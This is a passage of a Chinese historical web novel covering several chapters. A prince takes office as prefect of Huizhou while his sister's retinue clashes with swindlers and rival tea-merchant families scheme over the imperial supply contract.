娉婷坐在马上,看见骚动的人群紧张起来,“连锁,连锁!” “主子,您千万别下来。”连锁拉着精瘦男人商量到,“这位老人家,我们实在不是故意的,没必要去官府吧,现在给这位老人家看病才最紧要!您说呢,要不这样,我们送他赶紧去医馆,花多少医药费我们出,您看成吗?” 精瘦男人听了,闹得更加欢了,一下子趴在李老四身上,“哎呦,我的小老弟呀,咱们就是贱命一条,贱命一条啊!也不值钱啊!” “大哥,大哥,这样,我们给钱,医药费,日后的调养费,我们都出,行不行?” 原本哭天抢地的精瘦男人一听止住了泪水,带着哭腔,“这你还算说了句人话!” 连锁从马上拿出一包银子,得到娉婷的首肯后交给精瘦男人,“大哥,这是我们不对,您多担待,给那位大哥买点营养品,请个好大夫,您多担待,多担待……” 精瘦男人拿到钱,强装镇定,“哼,我小老弟受了这些苦,哎呦,我想想都疼啊!” “大哥您多担待,赶紧去看大夫吧!”说着连锁已经翻身上马,一行人绕着李老四缓缓通过。 娉婷坐在马背上,看李老四一动不动,旁边的血已经干了,精瘦男人抱着银子还抹着眼泪,偷眼看了他们一眼,又哭起来。 李老四躺在地上,听见马婷声远了,拍拍身上的土站了起来,“怎么样?” 精瘦男人颠颠银子,一脸奸笑,“发财了。” “瞧你没见过钱那样子,拿来吧!”李老四一把抢过钱,“说好的啊,二八分,这应该有五十两,我给你……”李老四正打开钱袋子呢,觉得脖子一阵凉,回头看见一张马脸正对着自己,马背上娉婷五官分明的脸显得盛气凌人。 第五章 吴怡向钱宁谋差事 - 风吹繁花散落时 - 红酒羊排 “呵呵,这……”不等李老四解释,四个侍卫过来将李老四和精瘦男人都按到在地。“哎哎哎,女侠饶命,女侠饶命!银子都在这呢,还你们,都还你们!” 连锁将银子拿过来,一点不少,稳稳当当放回包裹里,扶娉婷下了马。 娉婷踱着方步走到两人跟前,弯下腰戏谑地看了看两人,“真是相由心生,瞧你门两个倒人胃口的样子!” “是是是,我们是癞蛤蟆,挡了小姐您的路了,我们这就滚,这就滚。” “小姐,小姐,不是我呀,都是他,都是他的主意!”精瘦男人原本是老老实实的庄稼人,今天早起要去下田,李老四说有赚钱的机会,保准再能碰见冤大头给他们二两银子,精瘦男人想起上次那么容易就赚了一两银子欣然同意。 “嘿,你丫的!就算去了公堂咱们也是同谋,我说这位小姐,你送我们去衙门,青天大老爷自会给小姐做主!”李老四被人按着跪在地上头着地,心里明白这些人不是一般人,这手劲一看就是带着功夫呢,若是落在他们手里准没好,去衙门大不了再挨一顿打。 “衙门?哦,对了,你想去衙门是吧!”娉婷已经站直了身子,鄙夷地看着精瘦男人,“没出息的样子,还没怎么着呢,就急着撇清关系。我平生最恨背叛之人,打断他的腿,让他知道知道背叛的下场!” “哎,我说这位小姐……”李老四没想到这些人敢在大街上行凶,只听旁边一声闷响,精瘦男人嗷的一嗓子,栽倒在地晕倒在地。“哎,你们,哎呀杀人了!救命啊,救命啊!快来人啊!”李老四想挣脱,怎么也挣脱不开,心中害怕起来。 “至于你。”娉婷顿了一顿,“连锁,我给你找一个小徒弟怎么样啊?” 连锁在旁边咧着嘴笑了,“那敢情好,多谢主子了!” 娉婷冷哼一声,翻身上马,“连锁,你拿根绳子拉着他,你们,要是他跑慢了,不用客气!” “是!”侍卫门放开李老四,将他的双手困在绳子上,将精瘦男人撇在原地,一队人往城外而去。 李老四一直跟在马后跑,甚至来不及骂娘,他明白只要他一栽倒,马在前边一拖拽,他的小命就没了,所以他咬紧牙关,使出吃奶的劲紧紧跟在后头。李老四心想,小丫头片子,等老子得了机会,一定让你也尝尝这滋味! 京城内,三皇子周琰派出的人也铩羽而归,三个小队受到不明人员攻击,几乎全军覆没。 “什么人能如此准确得攻击你的人?”李贵妃紧张起来,她最怕的是被人抓到把柄。 “若是父皇,我们现在就不在这里说话了。” “那就是皇后的人。” “若是皇后,她能不抓住一两个去找父皇告状吗?” “她去告什么?我们又什么都没干!” “母妃,什么都不干,那咱们派人跟着周启做什么?难不成想保护他啊!这话说出来,父皇能信吗?” “管他信不信,就这样说,你做哥哥的,担心弟弟,就这样说好了,没有证据谁也说不出来什么!” 周琰不再言语,他近年来小心谨慎如履薄冰,千万不能行差踏错失掉圣心,“舅舅上次说的事怎么样了?” “哦,已经派人去了,她说了,今年的茶叶供奉还没有确定呢,若是那个钱家识趣,咱们都省心了,若是他们不识趣,你舅舅派去的人就扶植一个,搞掉钱家自己来当供奉,到时候钱还不就来了吗!” “恩,舅舅做事我向来放心。” 此时的周启正在徽州城里闲逛,他带着何平走街串巷,不住驿站不去官府,只在一个不起眼的小客栈投宿。何平每天与贩夫走卒在一起打听物价,周启则一身学子装束,混迹在读书人之中,晚上两人又到市井去,看看大家的业余生活。 “大人,大部队这两天也该到了。” “恩,物价打听的差不多了吧?” “都写在册子里了,今天晚上小的整理一下,明天就能交给您。” “好,忙了这几天也累了,走,前边,我带你放松放松。” 两人沿着河走,转过一个弯见前面灯火辉煌,何平大吃一惊,“大人!” “你紧张什么,我们进去看看。” “五皇子!这种地方不是您应该来的!” “何平,你说这种地方我不该来?那什么人该来?” “这不是什么正经地方。”何平快速瞟了一眼周启,双手抱拳,“大人,请大人以大局为重,不要忘记了自己的身份。” 周启见他这样,不再理会,迈腿往里走。 “大人,大人!” “你瞧瞧,这的姑娘都看着我们呢。” “大人!” “何平,若我不能来是为什么?” “大人天潢贵胄,自然不能来这腌臜地方。” “错!” “大人?” “本官不能来是因为国家法度,可是国法当前,多少人视而不见,甚至铤而走险。如今我还没有上任,我们就进去看看,多少不该来的人来了,等他们满口道德文章的时候,本官也不能轻易被骗了呀。” 何平没想到五皇子是如此盘算,原本何平对五皇子不太了解,此次出京,何平只当护着皇子出来游玩。可是这些天他跟着五皇子四处考察民情,觉得五皇子似乎真是想当好这徽州知府,心中改变了对他的看法,便紧紧跟着五皇子进了烟花柳巷。 火苗在夜空下跳动,钱宁一行人在一空阔地方架起篝火,吴怡不仅一次看见过钱记的招牌,尤其当铺,高高的柜台,甚至看不清里面的人,每次也都是陈腔烂调:破皮烂袄一件!没想到自己运气如此之好,能遇到钱家的少东家,据马夫说,这少东家还是第一次出来跑生意。吴怡甚至后悔起来,若是说爹在山西就好了,能一路去山西看看,据说那里也店铺林立,不比徽州差。 “少东家?”吴怡厚着脸皮来到钱宁身边坐下,“嘿嘿,今天谢谢少东家愿意带我一程。” “吴姑娘客气了,大家都在江湖上走,相互帮衬着是应该的。” “哎呀,少东家的衣服被刮破了,我帮你缝缝吧!”说着,吴怡从袖子口里拿出针线。 “啊?不用了,不用,吴姑娘,这怎么好意思劳烦你呢。” 吴怡已经拿起钱宁的衣角,“没事,你们一帮大男人都不在意,也就我能帮你缝缝了。很快的,少东家别动哈。” 吴怡一针一线,篝火映着她的脸,忽明忽暗的。钱宁这才看清,吴怡的五官分明的脸,眉毛浓密,长长弯弯的,一双桃花眼忽闪忽闪,嘴巴小小的,脸也小小的。正看着,吴怡抬头看了钱宁一眼,嘻嘻一笑,“弄好了。”说着,低头用牙咬断了缝衣线。吴怡趴下咬线的一刻,钱宁突然觉得浑身不自在起来。“好了,少东家。” “哦,谢谢吴姑娘。” “别客气!哦,对了,少东家,你们去山西?” “是啊,去山西送点货。” “我听我爹说山西也是富庶之地,和你们徽州有的一拼。” “吴大叔也去过山西?” “恩,我爹去过好多地方,他那个朋友说他现在在河南,可是我爹一直四处走动,也许已经走了也说不定,所以这次不知道能不能找到。” “你怎么没有跟你爹在一起呢?” “嘿,我们跑江湖的四处为家,我爹帮人家运东西去的河南,我给人家当帮佣在山东,本来我想去徽州见见世面,谁知我爹托人来叫我来找他,所以呀,我这不就往这边来了嘛。” “哦,吴姑娘真是辛苦了。” “奔生活嘛,也说不上苦。哎,公子,你呢,你从小就在徽州吗?” “是啊,我生在徽州长在徽州,山西也去过一次,只是没什么印象了。” “公子是大户人家的少东家,自然不像我们需要东奔西跑。” “东奔西跑也好,我祖辈、父辈一直在全国各地做生意,我爹说了,出去才能见世面,才能懂得更多,心胸也能更宽广。” “公子说的是,不过我还是觉得一家人在一起好些。”吴怡顿了顿,突然想起什么是的,“哎,对了,公子,您家缺不缺伙计?我爹也经常给人家跑生意,运货呀,抬货呀都没问题,我爹还会些拳脚,一定不会弄丢货的。” “你爹还会些拳脚呢?不过我们这里常年需要在外,不知道你爹愿不愿意。” “嘿,我爹现在还不是常年在外边,要是能跟着徽州钱家做工,那也是金饭碗呀!嘿嘿,我爹一定会好好干的!” 钱宁觉得吴怡真是自来熟啊,不过又想他们父女一直在外边奔波,也实在不容易。“那找到你爹你先问问他吧,若是愿意你就叫你爹到山西来找我们,我们会在山西呆上一段时间,或者直接回徽州找我们也成。” “嘿嘿,成,谢谢公子!您真是大好人,我们全家都感念您的恩德。” “别客气,你以后呢?有什么打算?” “嗯?哦,本来之前那家帮佣的人家给我介绍了一个生意,也是给人家做帮佣,就是在徽州,说是家里只有一位老太太,要找一个干杂活的,我这不是为了来找我爹就没去呢吗。” “哦,原来如此。如是你以后到了徽州,有什么难处来找我好了,反正大家也算认识了。” “嘿嘿,不用不用,我们给人家做工的能做就做,不能做也能换个地方,总不至于饿死,不过还是得谢谢公子,我一定叫我爹跟着公子您好好干的!”吴怡高兴起来,又帮着钱宁去拿晚饭,又伺候茶水的好不周到。 而此时的李老四被娉婷下令绑在树上动弹不得,李老四心中叫苦不迭,腿都跑抽筋了又不能活动,对着星空在心中咒骂娉婷,又想起吴怡一直没有踪影,如今自己马上就要离开山东界了,也不知道日后父女还能不能找到彼此。 第六章 周娉婷与陈明阳不打不相识 - 风吹繁花散落时 - 红酒羊排 天还没有完全亮,徽州城已经热闹起来,所有大小官吏,商贾巨甲都在城门口聚集,准备迎接新上任的知府大人。 城门刚开,就有百姓进城奔营生,有两人骑着高头大马,随着人流缓缓进城。这两人虽然轻车简从却身穿华服,认为只有这样才配得上这富可敌国的徽州城。 开始云集的商人有人远远看见了两人,常年在绸缎庄泡着,一搭眼就看出这两人非富即贵,一身藏蓝色长袍下薄底快靴,正是京城祥云记的经典款式。而祥云记也是朝廷供奉,号里服装配饰不是光有钱就能买到的。 两人当中为首的这位眯着眼假装不在意地看了一眼商贾们,笔直的身板好像宣告自己强势而来的态度。后边这位不自觉的仔细打量起大家,马背上的长剑虽不在手,眼里还是透着凶光。 娉婷早起不急不忙,带着一行人缓缓往徽州进发。李老四已经实在没有力气了,突然前边闪现一只商队似乎也是往徽州去的。李老四瞧准了机会,用尽浑身力气 跳上商队的马车。 “什么人!”赶马车的小伙计吃了一惊,赶紧停下马车,商队的管事也勒住缰绳回头查看。 娉婷见李老四跑到人家马车上去了,示意侍卫将他拽下来,李老四死也不撒手,大喊大闹,“救命啊,杀人了!” 商队的少东家陈明阳与娉婷一起翻身下马来到近前,娉婷举鞭子要打,陈明阳一把拉住娉婷的手。侍卫门一个个抽出刀来,商队伙计都吓傻眼了,因为这次回来并没有带什么货物,商队现在连个镖师都没有,陈明阳看这架势松开了娉婷的手。 李老四一看,大喊道,“公子,公子,救命啊,他们是强盗!” “你!”娉婷一听,气更不打一处来,一鞭子抽在李老四身上,“叫你胡说!” “哎。”陈明阳再次拉着娉婷,“你怎么对一个老人家这样?” “我想怎样就怎样!再多管闲事我连你一起打!滚开!”娉婷正要再给李老四一鞭子时候,陈明阳一下将娉婷拽到身前,左手的匕首已经抵住了娉婷的脖子,“都不许动!” 侍卫门将陈明阳围在当中,连锁大喊一声,“放开我家小姐!” “小姐?我还以为哪里来的土匪!让我的人离开,快点。”陈明阳手上用劲,再次喊到,“快点,你们先走!带着他!” 商队的伙计赶紧给李老四解绑,相互搀扶着一溜烟跑走了。 “放开我家小姐!” 陈明阳一步一步向后退,“你们把武器都放地上,快点,退到一百米外!”终于陈明阳退到自己马边上,“快!” “那我们怎么知道你会不会放人!” “你们没有讨价还价的余地!”陈明阳手上再次用力,娉婷哭了出来,带着哭腔说到,“退下呀,你们都!” 连锁示意众人退下,陈明阳使劲一拉缰绳,飞身上马,一下将娉婷摔倒在地。 “公主,公主……” “快给我追啊!”娉婷翻身上马,一马当先跑去。可是前面居然是一片林子,连锁与众侍卫追上娉婷好不容易将她带回了大路,娉婷一路发脾气,指天发誓一定要报仇。 李老四终于得救,千恩万谢。“呦,公子竟然是陈记的少东家!真是失敬失敬。”李老四觉得自己走了狗屎运,碰见一个大户人家。 “老人家客气了,他们为什么打你呀!” “唉,都是我运气不好,我带着朋友去看大夫,谁知他们骑马跑街,我朋友被他们撞死了,我想拉他们去见官,可是他们竟然把我捆绑起来带到这荒郊野外。唉,可怜我朋友爆尸街头了。”说着李老四流下泪呜呜哭了起来。 “真是一帮强盗,没想到朗朗乾坤还有这样的恶霸” “唉,都怪我们挡了人家的道了。” “老伯怎么这样说呢?天道轮回,老天终有开眼的一天。” “唉,多谢公子,我不能再麻烦公子了,我还是走吧!” “老伯是回家吗?” “家我是不敢回了,幸亏我家就我和我女儿,女儿已经嫁人了,我要是回家去他们肯定得再抓我,我呀,我就沿街乞讨,四海为家吧。”说着,李老四拿起衣角擦眼睛,再次呜呜呜哭了起来。 “老伯,老伯,这样吧,你跟我回徽州吧,我们陈记总有老伯能干的活计,若您不嫌弃,在我们府上养养花草也可以呀,总比你流落街头得要好啊!” “啊?那,那真是谢谢您了!少东家您真是活菩萨啊!”李老四把这陈明阳噗通一声跪在地上,鼻涕一把泪一把得谢恩。 此时的徽州城里,商贩已经纷纷下板。钱记与陈记是现在徽州最大的商贾,两家的买卖相对而开,好像比赛,你开一家绸缎庄我也不能落,我开一家票号你也来凑热闹一样。 城门口,徽州全府官员仕绅悉数到场,大家翘首以盼的知府大人迟迟没有现身,天气渐热,有些人已经汗流浃背,但是谁也不敢抱怨。 同知余年望着地平线,官道上终于走来一支队伍,由远及近,所有人伸长脖子看着。整整齐齐的队伍,娉婷在最前面,连锁紧随其后,侍卫门分为两队整齐划一。 队伍走近了,眼神好的已经发现为首的是个女的,端起的官仪又放了下去,“是个女的。” “嘿,这不捣乱嘛。” 娉婷见官员们全不看自己,甚至有人窃窃私语,一点也不把她当回事,心中不快,示意连锁过去。 连锁一拉缰绳,走到官员们跟前,“哪位大人是同知余年啊?” 听连锁这么一问,大家一时鸦雀无声,齐齐看着余年,余年上下打量连锁,见他虽有些气度,可是不像状元的样子,况且他刚刚在那女孩子身后,不可能是新来的知府啊,余年虽然心下狐疑,还是恭恭敬敬一抱拳,“下官正是。” “知府大人口令,所有官员府衙训话。” “不知知府大人?” “大人已经在府衙等候众位大人了。” 官员们一阵骚动,这迎接他的人都在城门守着,他居然进城了,那这迎接的仪式,请来的舞狮不都浪费了吗? 大家又都齐齐看向余年,余年觉得尴尬异常,却很快恢复正定,“敢问这位上差是?” “小的是知府大人的贴身管家,这位是我们大小姐。” “哦,大小姐,失敬失敬,下官眼拙,失礼了,失礼了。”众人也赶紧赔礼,一个个殷勤起来。 娉婷斜眼看了一眼众人,一勒缰绳带着大家进城,官员们也赶紧各自乘轿子赶往知府衙门。 一个时辰后,李老四跟着陈家商队进城,他还是第一次骑着高头大马威风凛凛得来到了徽州,巍峨的城门,热闹的街道,李老四打心眼里高兴,他突然低头摇了摇头,一拍大腿,“唉,吴怡这个臭丫头就是没福气!” 第七章 新官上任三把火(上) - 风吹繁花散落时 - 红酒羊排 众官员已经按照官位大小的顺序等在知府衙门,周启在后堂由连锁伺候更衣,过了半柱香时间,侍卫先进来,站在各位大人身后,周启才千呼万唤始出来,扫视了一眼前厅,端端正正坐在椅子上。 众位大人全部起身向周启行礼,“下官参见知府大人!” “诸位同僚请坐。” 大人们落座后齐齐看着周启,只见这位大人瓜子脸,一副剑眉之下一双丹凤眼,鼻梁挺拔,少年老成的样子,端端正正坐着,散发着不卑不亢的态度,甚至不像刚刚步入仕途。 “诸位,本官刚刚到任,徽州之事不甚了解,望诸位能与本官同舟共济,风雨相携,给徽州百姓创造一个繁荣的徽州,安定的徽州!” “我等必与大人同舟共济、风雨相携。” “好,余年余大人。” “下官在。” “你可有什么文书需要本官过目啊?” “大人路上肯定劳累了,不如先休息……” “不如余年大人先给本官讲讲这徽州城吧。” 余年一愣,旋即站起身来,向周启一抱拳,“知府大人,咱们徽州一府六县,即歙县、黟县、休宁、祁门、绩溪、婺源,府治在歙县徽城。咱们徽州多崇山峻岭,期间溪流交错,山水回环,其中休宁县可谓真正的钱塘之源。全境土壤多含砂石,透气性好,最适合终值茶叶,黄山毛峰、屯溪绿茶、祁门红茶、徽州贡菊都是名茶啊。咱们徽州现在各县官制完整,没有空缺,大人的知府衙门设有府堂、经历司、照磨所和司狱司,全部听从大人差遣。如今徽商遍布天下,前年为朝廷纳税数额已经超过晋商,成为天下钱庄。今年刚刚举行的科举考试中,考中进士的就有两人,同进士也有两人。如今大人以状元之身来我徽州任知府,真是我们徽州无上荣耀。” “春耕事宜可安排妥当了?” “回大人,春种一粒粟,秋收万颗米,全府自然不敢懈怠,都已经全部完成播种。” “税收如何?” “回大人,现在刚刚三月,税收与去年基本持平,这有账册请大人过目。” “刑狱如何?” “回大人,全府再审案件十六件,大案并没有,都是鸡鸣狗盗之徒,在押犯人124人,一个月内即将刑满释放的犯人6人,一年内即将刑满释放的犯人52人。大人,我们徽州向来民风淳朴,各家各户安居乐业,请大人放心。 ” “府库拥有财产多少?亏空多少?” “大人,账册在此,请大人过目。” “恩,很好,先将账册放在一旁。祁门县可在?” “下官在。”挨着厅堂口站在后排的官吏中走出一位,胖胖的身材,恭恭顺顺的样子。 “你是为了迎接本官才来到徽州城的?” “回大人,大人为一府之首,大人到任,下官自当前来汇报全县情况,听从大人安排。” “说得好,昨天你的小翠姑娘是否也愿意听从本官安排啊?” 此言一出,官员们窃窃私语,“这,大人?”祁门县令大吃一惊,没想到周知府会拿自己开刀,“大人,下官……” “朝廷明令,禁止官员嫖妓,你倒好,跑到这徽州城来找姑娘来了?” “大人,下官知罪,下官知罪!”祁门县令扑通跪倒在地,磕头如捣蒜。 “你知罪就好,余年大人,按照我大周律法,官员嫖妓,如何处罚呀?” “哦,回大人,官员嫖妓,杖责二十,罚银二百两,第一次则留任查看,第二次则永久罢官。” “好,就照余大人说的办吧。” 一场训话下来所有人都知道了周知府的厉害,对这位十八岁的状元刮目相看。 已经未时一刻,所有人都饥肠辘辘,周启按照余年的安排来到同福苑用餐。 “大人一路风尘仆仆,着实辛苦,本地商贾自愿前来迎接大人,本来陆师傅还准备给大人表演绝技,这里实在摆不开,为了防止扰民,陆师傅只能先回去了,还请大人见谅。” “有劳陆师傅了,还要多谢余大人为本官安排。” “都是大家自愿前来,咱们徽州向来和气生财,商贾们也得朝廷福荫,大人初来,大家自然愿意出一份孝心,还请大人不要推辞。” 周启在宫里,官场上的客气话听得多了,也不觉得什么,便举起酒杯站起身来,“诸位同僚,各位老板,本官初来乍到,日后难免有所得罪,希望大家明白本官一心向公,绝不是为了为难大家。各位,日后希望你我同心,能为在座的各位都谋得一个好的前程,良好的经商环境。各位,周某先干为敬。请!” “大人请!” 一时间杯筹交错,随后下属们自然轮番敬酒,亏得周启在宫中长辈甚多,酒量也好,车轮战根本不在话下。 周启唱主角,官员们是陪衬,商贾们对上不过各自应付差事,他们之间的相互沟通才重要。 “钱老板,货还给你们没有?” “应该会一起给吧,怎么,听到什么风声?” “嘿,您家大业大,扣了您六批货您还能补上,我们这小门小户的,幸亏从陈家借出些货来,要不这次够我呛了!” “陈家借你们周转了?他们也得做生意啊。” “要不说老太爷仁义呀,您也仁义,都这样了不也往外借了吗?我是怕您的货也周转不开才没向您开口。” “咱们徽商向来互相帮衬,要不也不能在商场里占有一席之地呀。” “是啊,钱兄说的是啊!”陈记老板陈千朗从旁边桌子走了过来,这边还在说话的人打招呼后很识趣得走开了。 “陈老弟,老太爷可好啊?” “挺好,拖老兄的福了。钱兄,今年的朝廷供奉下来了吧?” “茶叶还没交上去呢,这你应该知道啊。” “钱兄啊,这明前茶最珍贵,每年都以明前茶的品质来确定宫廷供奉,我们呐今年也准备了,品质那是没得说啊,是我专门派人到山里开了一片地,种了也有几年了,每年都卖的非常好。你看我带了一包,钱兄回家去可以尝尝。” “哦,是嘛。”钱万全接过来,打开纸包捏起一个放在嘴里慢慢咀嚼,茶香四溢,“恩,好茶!” “嘿嘿,钱兄,今年的供奉要不要从我们这里进点货呀?” “我们每年都够呀,没有从别人那里进货的呀。” “刚刚钱兄不还说了,大家互相帮衬才能闯出一片天地嘛,况且我这茶可是珍品呐。” “那陈兄怎么不自己去争一争呢?” “我这茶少,满足不了京城的大胃口,只能与别人合作还有点胜算,钱兄,带带我们?” “那我能得到什么好处啊?” “明人面前不说暗话,山西张家从你这里进货,涨价三成卖给西凉,我们这几年也打开了西凉的销路,我让价给你一成,怎么样?” “呵呵呵呵,陈老板,我们钱家和张家可是世交啊,这样不好吧!” “谁又不是世交呢?他们每年从你们这里赚走多少?您不是不知道吧!只是我们徽商近年来在内地做生意风生水起,西凉都是山西人多,所以不得不让利给他们,如今我陈家自己就有销货渠道,钱兄,有钱大家一起赚总比便宜了晋商的好啊!您说呢?” 钱万全不易察觉地点了点头,“好,我回去一定好好考虑考虑。” “那我等您好消息了。” 两位大老板谈完,宴会是时宜地散了。陈家的少东家已经回家,全府喜气洋洋。 第八章 新官上任三把火(下) - 风吹繁花散落时 - 红酒羊排 周启回到府衙后院,周娉婷早已准备好醒酒汤,“哥,坐。”娉婷亲自将将周启扶在椅子上做好,端过来醒酒汤。 “这么乖巧,来的时候闯祸了吧?” “才没有呢!我这不是没想到哥你是来当知府嘛,怎么还瞒着我呀,昨天晚上连锁才告诉我!” “你可别告诉别人,我和父皇约法三章了,要是我自己暴露了,我可惨了。” “好好好,我绝对不说!” “何平他们呢?” “外边呢。” 周启喝了两口汤稍微清醒,自己走到屋前廊下站定,侍卫门在何平的带领下整整齐齐站成两排,连锁也在廊下等候多时。 “各位。” “听候五皇子差遣。” “本皇子高中状元,受朝廷委任,皇上钦点来徽州出任知府,各位都是大内侍卫,有些人家世代为官,对朝廷忠贞不二。皇子出任巡抚别说本朝,就是翻开史书也是亘古未有之事,所以你们都身兼重任,不仅因为我是科举出身的嫡皇子,也为了日后你们的家族荣耀。我的性命安全交托到你们手中,我自然倚重你们,回京后,我父皇、母后也会奖赏你们的忠诚,现在你们就是一条船上的舵手,这条船能否航行到大海都倚仗你们了。” “誓死保护五皇子!” “好,从今天起,你们叫我大人,不管在哪!叫六公主小姐,不管在哪!” “是,大人!” “连锁,日后你就是这府上的管家了,多上点心吧!” “大人放心,小的一定事事上心,伺候好大人,小姐。” 周启说完心满意足回屋去了,今天的任务也算是完成了。 不同于周启的独挑大梁,陈明阳现在是家里的掌中宝,长辈们全都嘘寒问暖, 陈千朗端详着儿子带回来的砚台,心里美滋滋,“去给爷爷请安了没有?” “去过了,爷爷更糊涂了,都不认得我。” “唉,人上了岁数不过享享天伦之乐。”陈千朗放下砚台,“你最近别出去了,好好陪陪爷爷。” “恩。” “路上没遇到麻烦吧?” “去的时候没有,回来碰到一个女土匪,带着一帮子打手,可凶了。” “女土匪?在哪啊?” “就城外。” “城外?”陈千朗见儿子漫不经心的样子,“净胡说!”说完又举起砚台端详起来。 “爹,您跟钱伯伯谈得怎么样?答应了吗?” “没答应,也没说不答应,这只老狐狸。” “咱们茶叶这么好,就算没有朝廷供奉也不愁卖,您干嘛非要去争什么供奉呢?” “这你就不懂了,这宫廷供奉可是金字招牌,今天我在城门口看见两个人,穿了一身祥云记的衣服,这是身份的象征,知道吗?还不是因为祥云记就是朝廷供奉吗?否则那两个人干嘛穿着他家的衣服跑我们徽州来显摆?有了朝廷供奉的金字招牌,那就是白花花的银子!” “爹,我发现您就适合做生意。” “嗯?” “您一说银子,您两眼就放光,金子一般的光。” “去!有你这么揶揄自己亲爹的吗?” “嘿嘿嘿嘿,那您干嘛不自己去争呢,非要和钱伯伯一起?” “咱们茶叶不是不够嘛。” “咱们还不够?皇宫里需要多少茶?” “万把来斤吧。” “这么多?宫里有多少人?饮茶还是饮牛啊!” “别胡说!人家宫里的贵人是你能议论的嘛?再说了,我都打听了,人家宫里的茶啊,不止是喝,还会赏赐给王工大人啊,我听说人家小孩的枕头就是茶叶装的,说是对眼睛好,耳聪目明,以后我有了孙子,我也给我孙子弄一个。” “真浪费!我们这么好的茶,他们当枕头用!” “这是气派,懂吗?气派!” 陈明阳才不想懂,他只是可惜那么好的茶。 “说到这气派啊,就今天那两个人,一看就是装大尾巴狼,以为自己穿身好衣服就是有钱人了。” “您刚不还说彰显身份呢吗?” “要说一看就是有身份的人,那就是今天新来的知府大人,往那里一坐不怒自威,对所有人都不卑不亢。他呀,一看就是京城大户人家出来的。” “这怎么能看出来?” “就好比你吧,你和那些伙计们站在一起,那一看你就是少东家,就是由内而外散发的气质,明白吗?能培养出这样的气质,绝不是穷苦人家,就像鸡窝里绝飞不出金凤凰一样。” “那谁家往上导五辈八辈的都是鸡窝出来的。” “所以没人是金凤凰啊!我们家也是,鸡窝变鸟窝,鸟窝变凤凰窝……” 陈明阳看出父亲喝多了,只好有一搭没一搭地听他天南地北胡扯一通。 此时正在胡侃的人还有李老四,他兴奋异常,对着陈家的家丁一顿吹嘘。 “你们不知道,千钧一发之际,我用出我的童子功,向上使劲一踹,那只猛虎顿时摔了出去,我赶紧站起身来,捡起掉落的砍刀,上去冲着它的脑袋就是一刀!” 小厮们一阵惊呼,“然后呢?然后呢?” “然后?”李老四看着大家都聚精会神地看着自己,“然后老虎就死了呗,我就留下一条疤,你们瞧,在这呢!”李老四将裤腿挽起来,一条一尺长的疤蜿蜒在他的腿上。 “这是老虎抓伤的呀?李大叔,你真厉害!比武松还厉害!” “嘿,小意思,小意思!”李老四见大家围着自己,心满意足,又强装镇定。 而吴怡将自己曾经的见闻全部说给钱宁,希望他能对自己留个好印象。 大家又升起篝火,吴怡站在中间为大家讲诉自己掉在陷阱里的故事。 “当时我呀掉到陷阱里,是叫天天不应,叫地地不灵。突然,远处传来一声声狼叫,啊呜,啊呜,这样的。然后我就听见陷阱上面有动静,我屏住呼吸,拿起陷阱里的土块,紧紧盯着陷阱口,”吴怡故意大声说到,“突然!一个黑影走了过来,我定睛一看!”吴怡看着围在一旁的所有人,“居然是我爹!我爹来救我来了!” “你爹怎么救你就上来的?” “嘿嘿,我爹解开裤腰带,说要拉我上去。”大家哄堂大笑,“但是,但是没成功,我正往上爬,我爹一个没站稳,哐当,掉了下来,我当时那个绝望啊!” “那后来呢?” “后来我们就在陷阱里过了一夜,第二天猎人来看陷阱怎么样了,就把我们救出来了,可是我爹的腿上划了好长的一个口子,现在还有一个疤呢。”吴怡说着,声音越来越小。 钱宁知道她肯定是想她爹了,吩咐大家散了,坐在吴怡身边,“我想吴大叔肯定也在想你呢。” 吴怡咧嘴笑了笑,篝火发出噼啪的响声,远处,狼群啊呜啊呜得叫了起来。 第九章 张海搅乱徽州城 - 风吹繁花散落时 - 红酒羊排 吴怡觉得自己和钱宁混熟了,终于找到合适的地方与大家告别,看着继续往山西走去的商队,吴怡慢慢后退往山东走去。 张海带着王勇站在钱家大院门口,瘦挑的门脸上一块大匾:钱府,显得硕大无比,洁白的墙面,黑色的房顶仿佛水墨画一般。钱万全每天都在花厅听各位掌柜汇报情况,若有客来访时就在前厅招待。 张海自信满满进入内堂报上姓名求见钱老爷,钱万全每天都会遇到形形色色拜见自己的人,大多数来做生意,也有很多异想天开的狂妄之徒。如今站在钱万全面前,自称来自京城的男人看着倒像是有备而来。 “这位大人?” “哦,在下并非大人,钱老板,在下虽然在京城有些人脉,却是正正经经的生意人。” “不知张老板在哪发财呀?” “京城。” “恕钱某眼拙,似乎没有听说京城有姓张的人家跑生意呀。” “因为在下的买卖不同寻常。” “哦?” “钱老板,茶叶的供奉每年朝廷并非全部给您是不是?朝廷的胃口可不止这千把斤啊!” 钱万全看了看张海,见他一副势在必得的样子,“愿闻其详。” “在下有人脉,可以帮助钱老板再拿到两成的朝廷供奉。” “两成?宫里需要这么多茶吗?” “那就不需要钱老板操心了吧!” “哼哼,没想到张老板有通天的本事,朝廷采买也能说得上话。” “生意嘛,只要有价值,都能交易。” “可有些东西碰不得啊,如今我们钱家本来就是朝廷供奉,就算不增加那两成,我们钱家还是徽州唯一的茶叶供奉,增加了那两成,我们还没有这么多货呢。” “钱老板,货是流通来的,以钱老板的精明才干能没有货源吗?” 钱万全知道这种事不能轻易决定,“张老板,这事非比寻常,请等我与掌柜们商量商量再做答复可好啊?” 张海站起身来,含笑着一抱拳,“那张某静候佳音了,告辞。” 张海打钱家出来直奔陈家,陈家也是典型的徽派院落,前厅比钱家一点不差。 “张老板哪里发财呀?” “京城。” 接下来张海将在钱家说的话又在陈家说了一遍,心想这里的商人难道受过专门的培训,怎么问的问题一模一样?连商业笑容也一样,眼神也全是又充满疑惑又满怀期待。 “两成?” “不错,陈老板可有兴趣啊?” 陈千朗盘算手中的茶叶,两成自己还吞得下,“敢问张老板,您背后是?” 张海笑笑,探身子离张千朗近些,说到,“您往大了猜,越大越好,哈哈哈……” 张千朗自然也说会考虑考虑,张海告辞后,张明阳走了进来,“爹,您说他是什么人?” “达官显贵的门人。” “怎么说?” “朝廷禁止官吏做生意,可是这些大人天天在上边,什么消息都有,朝廷的风往哪里刮他们一清二楚,甚至有人在大战之前囤货,在大旱之前屯粮食,这些大人们比我们商贾更早知道消息,自然能赚取更多的利润,可就是这样,朝廷才明令禁止官员参与货物流通。可是消息砸手里一文钱也不值,他们就派出亲信代自己出面,有句话叫官商勾结,喏,这就是。” “他能左右朝廷采买份额?” “哼,看来他背后应该是户部,要不就是宫里的公公,能说得上话的那种,其实这是拿朝廷的钱去做买卖,以权谋私而已。” “那我们可不能跟着他们胡闹,万一东窗事发,我们陈家可吃不起官司啊!” 